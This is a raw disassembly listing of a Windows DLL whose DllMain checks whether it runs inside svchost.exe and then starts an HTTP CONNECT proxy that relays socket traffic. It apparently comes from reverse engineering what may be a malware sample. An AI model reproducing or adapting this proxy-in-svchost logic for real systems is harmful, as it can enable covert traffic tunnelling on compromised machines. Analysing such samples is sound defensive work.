		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_10013934
		push	offset aSvchost_exe_0 ;	"svchost.exe"
		lea	ecx, [ebp+Str]
		push	ecx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_10013957


loc_10013934:				; CODE XREF: DllMain(x,x,x)+1AFj
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		push	0		; lpParameter
		push	offset sub_10016C4C ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		mov	edx, [ebp+hinstDLL]
		push	edx
		call	sub_1001361F
		add	esp, 4
		jmp	short loc_100139B1
; ---------------------------------------------------------------------------


loc_10013957:				; CODE XREF: DllMain(x,x,x)+1D2j
		call	sub_1000C9DC
		push	0		; lpName
		push	0		; bInitialState
		push	0		; bManualReset
		push	0		; lpEventAttributes
		call	ds:CreateEventA	; CreateEventA
		mov	hEvent,	eax
		call	sub_1001854D
		mov	eax, [ebp+hinstDLL]
		push	eax
		call	sub_100136A4
		add	esp, 4
		jmp	short loc_100139B1
; ---------------------------------------------------------------------------


loc_10013982:				; CODE XREF: DllMain(x,x,x)+187j
					; DATA XREF: .text:off_100139B7o
		mov	ecx, [ebp+hinstDLL]
		push	ecx
		call	sub_10013713
		add	esp, 4
		jmp	short loc_100139B1
; ---------------------------------------------------------------------------


loc_10013990:				; CODE XREF: DllMain(x,x,x)+187j
					; DATA XREF: .text:100139BFo
		mov	edx, [ebp+hinstDLL]
		push	edx
		call	sub_1001361F
		add	esp, 4
		jmp	short loc_100139B1
; ---------------------------------------------------------------------------


loc_1001399E:				; CODE XREF: DllMain(x,x,x)+187j
					; DATA XREF: .text:100139C3o
		mov	eax, [ebp+hinstDLL]
		push	eax
		call	sub_1001366B
		add	esp, 4
		jmp	short loc_100139B1
; ---------------------------------------------------------------------------


loc_100139AC:				; CODE XREF: DllMain(x,x,x)+17Bj
		mov	eax, 1


loc_100139B1:				; CODE XREF: DllMain(x,x,x)+166j
					; DllMain(x,x,x)+1F5j ...
		mov	esp, ebp
		pop	ebp
		retn	0Ch
_DllMain@12	endp

; ---------------------------------------------------------------------------
off_100139B7	dd offset loc_10013982	; DATA XREF: DllMain(x,x,x)+187r
		dd offset loc_100138EE
		dd offset loc_10013990
		dd offset loc_1001399E
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_100139D0(int,	int, char *DstBuf)

sub_100139D0	proc near		; CODE XREF: sub_10016C4C+4CDp
					; sub_10016C4C+58Dp

Val		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
DstBuf		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi


loc_100139D5:				; CODE XREF: sub_100139D0+2Bj
					; sub_100139D0+33j
		call	ds:rand	; rand
		mov	esi, eax
		call	ds:rand	; rand
		cdq
		and	edx, 3FFFh
		add	eax, edx
		sar	eax, 0Eh
		imul	esi, eax
		mov	[ebp+Val], esi
		mov	eax, [ebp+Val]
		cmp	eax, [ebp+arg_0]
		jl	short loc_100139D5
		mov	ecx, [ebp+Val]
		cmp	ecx, [ebp+arg_4]
		jg	short loc_100139D5
		push	0Ah		; Radix
		mov	edx, [ebp+DstBuf]
		push	edx		; DstBuf
		mov	eax, [ebp+Val]
		push	eax		; Val
		call	ds:_itoa	; _itoa
		add	esp, 0Ch
		mov	eax, [ebp+Val]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_100139D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10013A20(char	*lpString2, char *SubStr, int)

sub_10013A20	proc near		; CODE XREF: sub_10013E02+25Ep

var_C6EC	= dword	ptr -0C6ECh
var_C6E8	= byte ptr -0C6E8h
lpMem		= dword	ptr -0C668h
Str		= dword	ptr -0C664h
var_C660	= dword	ptr -0C660h
var_C65C	= dword	ptr -0C65Ch
var_C658	= dword	ptr -0C658h
Dst		= dword	ptr -0C654h
Str1		= byte ptr -0C650h
Source		= byte ptr -0C450h
var_10		= byte ptr -10h
var_F		= dword	ptr -0Fh
var_B		= dword	ptr -0Bh
var_7		= byte ptr -7
var_4		= dword	ptr -4
lpString2	= dword	ptr  8
SubStr		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 0C6ECh
		call	__alloca_probe
		mov	[ebp+lpMem], 0
		xor	eax, eax
		mov	[ebp+Str], eax
		mov	[ebp+var_C660],	eax
		mov	[ebp+var_C65C],	eax
		mov	[ebp+var_10], 0
		xor	ecx, ecx
		mov	[ebp+var_F], ecx
		mov	[ebp+var_B], ecx
		mov	[ebp+var_7], cl
		push	1000h		; dwBytes
		push	8		; dwFlags
		call	ds:GetProcessHeap	; GetProcessHeap
		push	eax		; hHeap
		call	ds:HeapAlloc
		mov	[ebp+Dst], eax
		lea	edx, [ebp+var_C6E8]
		push	edx
		lea	eax, [ebp+Source]
		push	eax
		lea	ecx, [ebp+Str1]
		push	ecx
		push	offset aSSS	; "%s%s%s"
		mov	edx, [ebp+lpString2]
		push	edx		; Src
		call	ds:sscanf	; sscanf
		add	esp, 14h
		push	offset aConnect	; "CONNECT"
		lea	eax, [ebp+Str1]
		push	eax		; Str1
		call	ds:_stricmp	; _stricmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10013B06
		mov	dword_10073E20,	1
		push	offset asc_10023D7C ; ":"
		lea	ecx, [ebp+lpMem]
		push	ecx		; int
		lea	edx, [ebp+Source]
		push	edx		; Source
		call	sub_100011DC
		add	esp, 0Ch
		mov	eax, [ebp+lpMem]
		push	eax		; Source
		mov	ecx, [ebp+SubStr]
		push	ecx		; Dest
		call	strcpy	; strcpy
		add	esp, 8
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		jmp	loc_10013DF9
; ---------------------------------------------------------------------------


loc_10013B06:				; CODE XREF: sub_10013A20+92j
		mov	dword_10073E20,	2
		push	offset aHttp_0	; "http://"
		lea	edx, [ebp+Source]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	loc_10013DF9
		push	offset aHttp_1	; "http://"
		call	strlen	; strlen
		add	esp, 4
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	[ebp+var_C658],	0
		jmp	short loc_10013B62
; ---------------------------------------------------------------------------


loc_10013B53:				; CODE XREF: sub_10013A20:loc_10013B89j
		mov	edx, [ebp+var_C658]
		add	edx, 1
		mov	[ebp+var_C658],	edx


loc_10013B62:				; CODE XREF: sub_10013A20+131j
		mov	eax, [ebp+var_4]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		cmp	[ebp+var_C658],	eax
		jnb	short loc_10013B8B
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_C658]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Fh
		jnz	short loc_10013B89
		jmp	short loc_10013B8B
; ---------------------------------------------------------------------------


loc_10013B89:				; CODE XREF: sub_10013A20+165j
		jmp	short loc_10013B53
; ---------------------------------------------------------------------------


loc_10013B8B:				; CODE XREF: sub_10013A20+154j
					; sub_10013A20+167j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_C658]
		mov	byte ptr [eax],	0
		push	offset asc_10023D90 ; ":"
		lea	ecx, [ebp+lpMem]
		push	ecx		; int
		mov	edx, [ebp+var_4]
		push	edx		; Source
		call	sub_100011DC
		add	esp, 0Ch
		cmp	[ebp+Str], 0
		jz	short loc_10013C06
		mov	eax, [ebp+lpMem]
		push	eax		; Source
		mov	ecx, [ebp+SubStr]
		push	ecx		; Dest
		call	strcpy	; strcpy
		add	esp, 8
		mov	edx, [ebp+Str]
		push	edx		; Str
		call	ds:atoi	; atoi
		add	esp, 4
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		push	offset asc_10023D94 ; ":"
		lea	edx, [ebp+var_10]
		push	edx		; Dest
		call	strcpy	; strcpy
		add	esp, 8
		mov	eax, [ebp+Str]
		push	eax		; Source
		lea	ecx, [ebp+var_10]
		push	ecx		; Dest
		call	strcat	; strcat
		add	esp, 8
		jmp	short loc_10013C1F
; ---------------------------------------------------------------------------


loc_10013C06:				; CODE XREF: sub_10013A20+196j
		mov	edx, [ebp+var_4]
		push	edx		; Source
		mov	eax, [ebp+SubStr]
		push	eax		; Dest
		call	strcpy	; strcpy
		add	esp, 8
		mov	ecx, [ebp+arg_8]
		mov	dword ptr [ecx], 50h


loc_10013C1F:				; CODE XREF: sub_10013A20+1E4j
		mov	[ebp+var_C6EC],	0
		jmp	short loc_10013C3A
; ---------------------------------------------------------------------------


loc_10013C2B:				; CODE XREF: sub_10013A20:loc_10013C81j
		mov	edx, [ebp+var_C6EC]
		add	edx, 1
		mov	[ebp+var_C6EC],	edx


loc_10013C3A:				; CODE XREF: sub_10013A20+209j
		cmp	[ebp+var_C6EC],	4
		jge	short loc_10013C83
		mov	eax, [ebp+var_C6EC]
		cmp	[ebp+eax*4+lpMem], 0
		jz	short loc_10013C81
		mov	ecx, [ebp+var_C6EC]
		mov	edx, [ebp+ecx*4+lpMem]
		push	edx		; lpMem
		push	0		; dwFlags
		call	ds:GetProcessHeap	; GetProcessHeap
		push	eax		; hHeap
		call	ds:HeapFree
		mov	eax, [ebp+var_C6EC]
		mov	[ebp+eax*4+lpMem], 0


loc_10013C81:				; CODE XREF: sub_10013A20+231j
		jmp	short loc_10013C2B
; ---------------------------------------------------------------------------


loc_10013C83:				; CODE XREF: sub_10013A20+221j
		push	1		; int
		mov	ecx, [ebp+Dst]
		push	ecx		; Dest
		push	offset dword_10073F8C ;	int
		mov	edx, [ebp+SubStr]
		push	edx		; SubStr
		mov	eax, [ebp+lpString2]
		push	eax		; lpString2
		call	sub_100012D1
		add	esp, 14h
		mov	ecx, [ebp+Dst]
		push	ecx		; Source
		mov	edx, [ebp+lpString2]
		push	edx		; Dest
		call	strcpy	; strcpy
		add	esp, 8
		lea	eax, [ebp+var_10]
		push	eax		; Str
		call	strlen	; strlen
		add	esp, 4
		test	eax, eax
		jbe	short loc_10013D0B
		push	1000h		; Size
		push	0		; Val
		mov	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	1		; int
		mov	edx, [ebp+Dst]
		push	edx		; Dest
		push	offset dword_10073F90 ;	int
		lea	eax, [ebp+var_10]
		push	eax		; SubStr
		mov	ecx, [ebp+lpString2]
		push	ecx		; lpString2
		call	sub_100012D1
		add	esp, 14h
		mov	edx, [ebp+Dst]
		push	edx		; Source
		mov	eax, [ebp+lpString2]
		push	eax		; Dest
		call	strcpy	; strcpy
		add	esp, 8


loc_10013D0B:				; CODE XREF: sub_10013A20+2A2j
		push	1000h		; Size
		push	0		; Val
		mov	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	1		; int
		mov	edx, [ebp+Dst]
		push	edx		; Dest
		push	offset dword_10073F94 ;	int
		push	offset aHttp_2	; "http://"
		mov	eax, [ebp+lpString2]
		push	eax		; lpString2
		call	sub_100012D1
		add	esp, 14h
		mov	ecx, [ebp+Dst]
		push	ecx		; Source
		mov	edx, [ebp+lpString2]
		push	edx		; Dest
		call	strcpy	; strcpy
		add	esp, 8
		push	1000h		; Size
		push	0		; Val
		mov	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	1		; int
		mov	ecx, [ebp+Dst]
		push	ecx		; Dest
		push	offset dword_10073F98 ;	int
		push	offset aProxyConnectio ; "Proxy-Connection: Keep-Alive\r\n"
		mov	edx, [ebp+lpString2]
		push	edx		; lpString2
		call	sub_100012D1
		add	esp, 14h
		mov	eax, [ebp+Dst]
		push	eax		; Source
		mov	ecx, [ebp+lpString2]
		push	ecx		; Dest
		call	strcpy	; strcpy
		add	esp, 8
		push	1000h		; Size
		push	0		; Val
		mov	edx, [ebp+Dst]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	1		; int
		mov	eax, [ebp+Dst]
		push	eax		; Dest
		push	offset aHttp1_1	; "HTTP/1.1"
		push	offset aHttp1_0	; "HTTP/1.0"
		mov	ecx, [ebp+lpString2]
		push	ecx		; lpString2
		call	sub_100012D1
		add	esp, 14h
		mov	edx, [ebp+Dst]
		push	edx		; Source
		mov	eax, [ebp+lpString2]
		push	eax		; Dest
		call	strcpy	; strcpy
		add	esp, 8
		mov	ecx, [ebp+Dst]
		push	ecx		; lpMem
		push	0		; dwFlags
		call	ds:GetProcessHeap	; GetProcessHeap
		push	eax		; hHeap
		call	ds:HeapFree


loc_10013DF9:				; CODE XREF: sub_10013A20+E1j
					; sub_10013A20+10Cj
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_10013A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_10013E02(LPVOID)

sub_10013E02	proc near		; DATA XREF: sub_10013E02+8Do
					; sub_10016BBE+76o

var_C6AC	= dword	ptr -0C6ACh
var_C6A8	= dword	ptr -0C6A8h
var_C6A4	= dword	ptr -0C6A4h
var_C6A0	= dword	ptr -0C6A0h
s		= dword	ptr -0C69Ch
var_C698	= dword	ptr -0C698h
var_C694	= dword	ptr -0C694h
var_C690	= dword	ptr -0C690h
var_C68C	= dword	ptr -0C68Ch
var_C688	= dword	ptr -0C688h
var_C684	= dword	ptr -0C684h
len		= dword	ptr -0C680h
hHandle		= dword	ptr -0C67Ch
readfds		= fd_set ptr -0C678h
var_C574	= byte ptr -0C574h
Parameter	= byte ptr -0C564h
hObject		= dword	ptr -0C464h
var_C460	= dword	ptr -0C460h
var_C45C	= dword	ptr -0C45Ch
timeout		= timeval ptr -0C458h
String2		= byte ptr -0C450h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
lpParameter	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_10013E02
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, 0C69Ch
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	[ebp+var_C688],	10h
		mov	[ebp+readfds.fd_count],	0
		mov	[ebp+timeout.tv_sec], 0
		mov	[ebp+timeout.tv_usec], 989680h
		mov	[ebp+var_4], 0
		lea	eax, [ebp+var_C688]
		push	eax
		lea	ecx, [ebp+var_C574]
		push	ecx
		mov	edx, dword_10073F34
		push	edx
		call	dword_10073F80	; accept
		mov	[ebp+var_C6AC],	eax
		mov	eax, [ebp+var_C6AC]
		mov	[ebp+var_C68C],	eax
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		mov	ecx, [ebp+lpParameter]
		push	ecx		; lpParameter
		push	offset sub_10013E02 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		cmp	[ebp+var_C68C],	0FFFFFFFFh
		jnz	short loc_10013EB1
		mov	eax, 0FFFFFFFBh
		jmp	loc_100142EC
; ---------------------------------------------------------------------------


loc_10013EB1:				; CODE XREF: sub_10013E02+A3j
		mov	[ebp+var_C694],	0
		mov	[ebp+var_C690],	1
		mov	edx, [ebp+var_C68C]
		mov	[ebp+s], edx


loc_10013ED1:				; CODE XREF: sub_10013E02+14Ej
		mov	[ebp+var_C6A0],	0
		jmp	short loc_10013EEC
; ---------------------------------------------------------------------------


loc_10013EDD:				; CODE XREF: sub_10013E02:loc_10013F11j
		mov	eax, [ebp+var_C6A0]
		add	eax, 1
		mov	[ebp+var_C6A0],	eax


loc_10013EEC:				; CODE XREF: sub_10013E02+D9j
		mov	ecx, [ebp+var_C6A0]
		cmp	ecx, [ebp+readfds.fd_count]
		jnb	short loc_10013F13
		mov	edx, [ebp+var_C6A0]
		mov	eax, [ebp+edx*4+readfds.fd_array]
		cmp	eax, [ebp+s]
		jnz	short loc_10013F11
		jmp	short loc_10013F13
; ---------------------------------------------------------------------------


loc_10013F11:				; CODE XREF: sub_10013E02+10Bj
		jmp	short loc_10013EDD
; ---------------------------------------------------------------------------


loc_10013F13:				; CODE XREF: sub_10013E02+F6j
					; sub_10013E02+10Dj
		mov	ecx, [ebp+var_C6A0]
		cmp	ecx, [ebp+readfds.fd_count]
		jnz	short loc_10013F4C
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_10013F4C
		mov	edx, [ebp+var_C6A0]
		mov	eax, [ebp+s]
		mov	[ebp+edx*4+readfds.fd_array], eax
		mov	ecx, [ebp+readfds.fd_count]
		add	ecx, 1
		mov	[ebp+readfds.fd_count],	ecx


loc_10013F4C:				; CODE XREF: sub_10013E02+11Dj
					; sub_10013E02+126j
		xor	edx, edx
		test	edx, edx
		jnz	loc_10013ED1
		lea	eax, [ebp+timeout]
		push	eax		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	ecx, [ebp+readfds]
		push	ecx		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	0C440h		; len
		lea	edx, [ebp+String2]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:recv	; recv
		mov	[ebp+var_C684],	eax
		cmp	[ebp+var_C684],	0FFFFFFFFh
		jnz	short loc_10013FC8
		push	offset aErrorRecv ; "\nError Recv"
		call	ds:printf	; printf
		add	esp, 4
		cmp	[ebp+var_C694],	0
		jnz	short loc_10013FC8
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		mov	[ebp+var_C694],	1


loc_10013FC8:				; CODE XREF: sub_10013E02+196j
					; sub_10013E02+1ADj
		cmp	[ebp+var_C684],	0
		jnz	short loc_10013FFF
		push	offset aClientCloseCon ; "Client Close connection\n"
		call	ds:printf	; printf
		add	esp, 4
		cmp	[ebp+var_C694],	0
		jnz	short loc_10013FFF
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	[ebp+var_C694],	1


loc_10013FFF:				; CODE XREF: sub_10013E02+1CDj
					; sub_10013E02+1E4j
		mov	eax, [ebp+var_C684]
		mov	[ebp+len], eax
		mov	[ebp+var_C694],	0
		mov	[ebp+var_C690],	1
		mov	ecx, [ebp+var_C68C]
		mov	[ebp+s], ecx
		lea	edx, [ebp+s]
		mov	[ebp+var_C460],	edx
		push	0		; lpName
		push	0		; bInitialState
		push	1		; bManualReset
		push	0		; lpEventAttributes
		call	ds:CreateEventA	; CreateEventA
		mov	[ebp+hObject], eax
		lea	eax, [ebp+var_C45C]
		push	eax		; int
		lea	ecx, [ebp+Parameter]
		push	ecx		; SubStr
		lea	edx, [ebp+String2]
		push	edx		; lpString2
		call	sub_10013A20
		add	esp, 0Ch
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		lea	eax, [ebp+Parameter]
		push	eax		; lpParameter
		push	offset sub_100142FF ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread
		mov	[ebp+hHandle], eax
		push	0EA60h		; dwMilliseconds
		mov	ecx, [ebp+hObject]
		push	ecx		; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject
		mov	edx, [ebp+hObject]
		push	edx		; hObject
		call	ds:CloseHandle	; CloseHandle
		cmp	dword_10073E20,	1
		jnz	short loc_100140C6
		push	0		; flags
		push	28h		; len
		push	offset buf	; "HTTP/1.1 200	Connection established\r\n\r\n"...
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:send	; send


loc_100140C6:				; CODE XREF: sub_10013E02+2ACj
					; sub_10013E02:loc_10014145j ...
		cmp	[ebp+var_C690],	0
		jnz	loc_10014274
		cmp	[ebp+var_C694],	0
		jnz	loc_10014274
		push	offset aConnect_0 ; "CONNECT"
		lea	ecx, [ebp+String2]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_1001414A
		push	0		; flags
		mov	edx, [ebp+len]
		push	edx		; len
		lea	eax, [ebp+String2]
		push	eax		; buf
		mov	ecx, [ebp+var_C698]
		push	ecx		; s
		call	ds:send	; send
		mov	[ebp+var_C684],	eax
		cmp	[ebp+var_C684],	0FFFFFFFFh
		jnz	short loc_1001414A
		cmp	[ebp+var_C690],	0
		jnz	short loc_10014145
		mov	edx, [ebp+var_C698]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	[ebp+var_C690],	1


loc_10014145:				; CODE XREF: sub_10013E02+32Aj
		jmp	loc_100140C6
; ---------------------------------------------------------------------------


loc_1001414A:				; CODE XREF: sub_10013E02+2F5j
					; sub_10013E02+321j ...
		mov	[ebp+var_C6A4],	0
		jmp	short loc_10014165
; ---------------------------------------------------------------------------


loc_10014156:				; CODE XREF: sub_10013E02:loc_1001418Aj
		mov	eax, [ebp+var_C6A4]
		add	eax, 1
		mov	[ebp+var_C6A4],	eax


loc_10014165:				; CODE XREF: sub_10013E02+352j
		mov	ecx, [ebp+var_C6A4]
		cmp	ecx, [ebp+readfds.fd_count]
		jnb	short loc_1001418C
		mov	edx, [ebp+var_C6A4]
		mov	eax, [ebp+edx*4+readfds.fd_array]
		cmp	eax, [ebp+s]
		jnz	short loc_1001418A
		jmp	short loc_1001418C
; ---------------------------------------------------------------------------


loc_1001418A:				; CODE XREF: sub_10013E02+384j
		jmp	short loc_10014156
; ---------------------------------------------------------------------------


loc_1001418C:				; CODE XREF: sub_10013E02+36Fj
					; sub_10013E02+386j
		mov	ecx, [ebp+var_C6A4]
		cmp	ecx, [ebp+readfds.fd_count]
		jnz	short loc_100141C5
		cmp	[ebp+readfds.fd_count],	40h
		jnb	short loc_100141C5
		mov	edx, [ebp+var_C6A4]
		mov	eax, [ebp+s]
		mov	[ebp+edx*4+readfds.fd_array], eax
		mov	ecx, [ebp+readfds.fd_count]
		add	ecx, 1
		mov	[ebp+readfds.fd_count],	ecx


loc_100141C5:				; CODE XREF: sub_10013E02+396j
					; sub_10013E02+39Fj
		xor	edx, edx
		test	edx, edx
		jnz	loc_1001414A
		lea	eax, [ebp+timeout]
		push	eax		; timeout
		push	0		; exceptfds
		push	0		; writefds
		lea	ecx, [ebp+readfds]
		push	ecx		; readfds
		push	0		; nfds
		call	ds:select	; select
		push	0		; flags
		push	0C440h		; len
		lea	edx, [ebp+String2]
		push	edx		; buf
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:recv	; recv
		mov	[ebp+var_C684],	eax
		cmp	[ebp+var_C684],	0FFFFFFFFh
		jnz	short loc_10014238
		cmp	[ebp+var_C694],	0
		jnz	short loc_10014233
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		mov	[ebp+var_C694],	1


loc_10014233:				; CODE XREF: sub_10013E02+418j
		jmp	loc_100140C6
; ---------------------------------------------------------------------------


loc_10014238:				; CODE XREF: sub_10013E02+40Fj
		cmp	[ebp+var_C684],	0
		jnz	short loc_10014263
		cmp	[ebp+var_C694],	0
		jnz	short loc_10014261
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	[ebp+var_C694],	1


loc_10014261:				; CODE XREF: sub_10013E02+446j
		jmp	short loc_10014274
; ---------------------------------------------------------------------------


loc_10014263:				; CODE XREF: sub_10013E02+43Dj
		mov	eax, [ebp+var_C684]
		mov	[ebp+len], eax
		jmp	loc_100140C6
; ---------------------------------------------------------------------------


loc_10014274:				; CODE XREF: sub_10013E02+2CBj
					; sub_10013E02+2D8j ...
		cmp	[ebp+var_C690],	0
		jnz	short loc_10014294
		mov	ecx, [ebp+var_C698]
		push	ecx		; s
		call	ds:closesocket	; closesocket
		mov	[ebp+var_C690],	1


loc_10014294:				; CODE XREF: sub_10013E02+479j
		cmp	[ebp+var_C694],	0
		jnz	short loc_100142B4
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		mov	[ebp+var_C694],	1


loc_100142B4:				; CODE XREF: sub_10013E02+499j
		push	4E20h		; dwMilliseconds
		mov	eax, [ebp+hHandle]
		push	eax		; hHandle
		call	ds:WaitForSingleObject	; WaitForSingleObject
		jmp	short loc_100142E0
; ---------------------------------------------------------------------------


loc_100142C8:				; DATA XREF: .rdata:stru_10020108o
		mov	[ebp+var_C6A8],	0
		mov	eax, offset loc_100142D8
		retn
; ---------------------------------------------------------------------------


loc_100142D8:				; DATA XREF: sub_10013E02+4D0o
		mov	eax, [ebp+var_C6A8]
		jmp	short loc_100142EC
; ---------------------------------------------------------------------------


loc_100142E0:				; CODE XREF: sub_10013E02+4C4j
		mov	[ebp+var_4], 0FFFFFFFFh
		mov	eax, 1


loc_100142EC:				; CODE XREF: sub_10013E02+AAj
					; sub_10013E02+4DCj
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_10013E02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_100142FF(LPVOID)

sub_100142FF	proc near		; DATA XREF: sub_10013E02+271o

var_C594	= dword	ptr -0C594h
var_C590	= dword	ptr -0C590h
s		= dword	ptr -0C58Ch
name		= dword	ptr -0C588h
hostshort	= word ptr -0C584h
var_C580	= dword	ptr -0C580h
len		= dword	ptr -0C57Ch
readfds		= fd_set ptr -0C578h
type		= dword	ptr -0C474h
timeout		= timeval ptr -0C470h
var_C468	= dword	ptr -0C468h
var_C464	= dword	ptr -0C464h
buf		= byte ptr -0C460h
Dst		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_100142FF
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, 0C584h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], esp
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C468],	eax
		mov	[ebp+name], offset aLocalhost ;	"localhost"
		mov	[ebp+type], 1
		mov	ecx, [ebp+var_C468]
		mov	[ebp+name], ecx
		mov	edx, [ebp+var_C468]
		mov	ax, [edx+108h]
		mov	[ebp+hostshort], ax
		mov	[ebp+readfds.fd_count],	0
		mov	[ebp+timeout.tv_sec], 0
		mov	[ebp+timeout.tv_usec], 989680h
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+name]
		push	ecx		; name
		call	ds:gethostbyname	; gethostbyname
		mov	[ebp+var_C464],	eax
		cmp	[ebp+var_C464],	0
		jnz	short loc_100143E5
		call	ds:WSAGetLastError	; WSAGetLastError
		push	eax
		mov	edx, [ebp+name]
		push	edx
		push	offset aClientCannotRe ; "Client: Cannot resolve address [%s]: Er"...
		mov	eax, ds:_iob
		add	eax, 40h
		push	eax		; File
		call	ds:fprintf	; fprintf
		add	esp, 10h
		mov	ecx, [ebp+var_C468]
		mov	edx, [ecx+100h]
		push	edx		; hEvent
		call	ds:SetEvent	; SetEvent
		xor	eax, eax
		jmp	loc_10014756
; ---------------------------------------------------------------------------


loc_100143E5:				; CODE XREF: sub_100142FF+A5j
		push	10h		; Size
		push	0		; Val
		lea	eax, [ebp+Dst]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	ecx, [ebp+var_C464]
		movsx	edx, word ptr [ecx+0Ah]
		push	edx		; Size
		mov	eax, [ebp+var_C464]
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		push	edx		; Src
		lea	eax, [ebp+var_1C]
		push	eax		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	ecx, [ebp+var_C464]
		mov	dx, [ecx+8]
		mov	[ebp+Dst], dx
		mov	ax, [ebp+hostshort]
		push	eax		; hostshort
		call	ds:htons	; htons
		mov	[ebp+var_1E], ax
		push	0		; protocol
		mov	ecx, [ebp+type]
		push	ecx		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+s], eax
		cmp	[ebp+s], 0
		jnb	short loc_10014486
		mov	edx, [ebp+var_C468]
		mov	eax, [edx+104h]
		mov	dword ptr [eax+0Ch], 1
		mov	ecx, [ebp+var_C468]
		mov	edx, [ecx+100h]
		push	edx		; hEvent
		call	ds:SetEvent	; SetEvent
		or	eax, 0FFFFFFFFh
		jmp	loc_10014756
; ---------------------------------------------------------------------------


loc_10014486:				; CODE XREF: sub_100142FF+157j
		push	10h		; namelen
		lea	eax, [ebp+Dst]
		push	eax		; name
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:connect	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_100144CC
		mov	edx, [ebp+var_C468]
		mov	eax, [edx+104h]
		mov	dword ptr [eax+0Ch], 1
		mov	ecx, [ebp+var_C468]
		mov	edx, [ecx+100h]
		push	edx		; hEvent
		call	ds:SetEvent	; SetEvent
		or	eax, 0FFFFFFFFh
		jmp	loc_10014756
; ---------------------------------------------------------------------------


loc_100144CC:				; CODE XREF: sub_100142FF+19Dj
		mov	eax, [ebp+var_C468]
		mov	ecx, [eax+104h]
		mov	edx, [ebp+s]
		mov	[ecx+4], edx
		mov	eax, [ebp+var_C468]
		mov	ecx, [eax+104h]
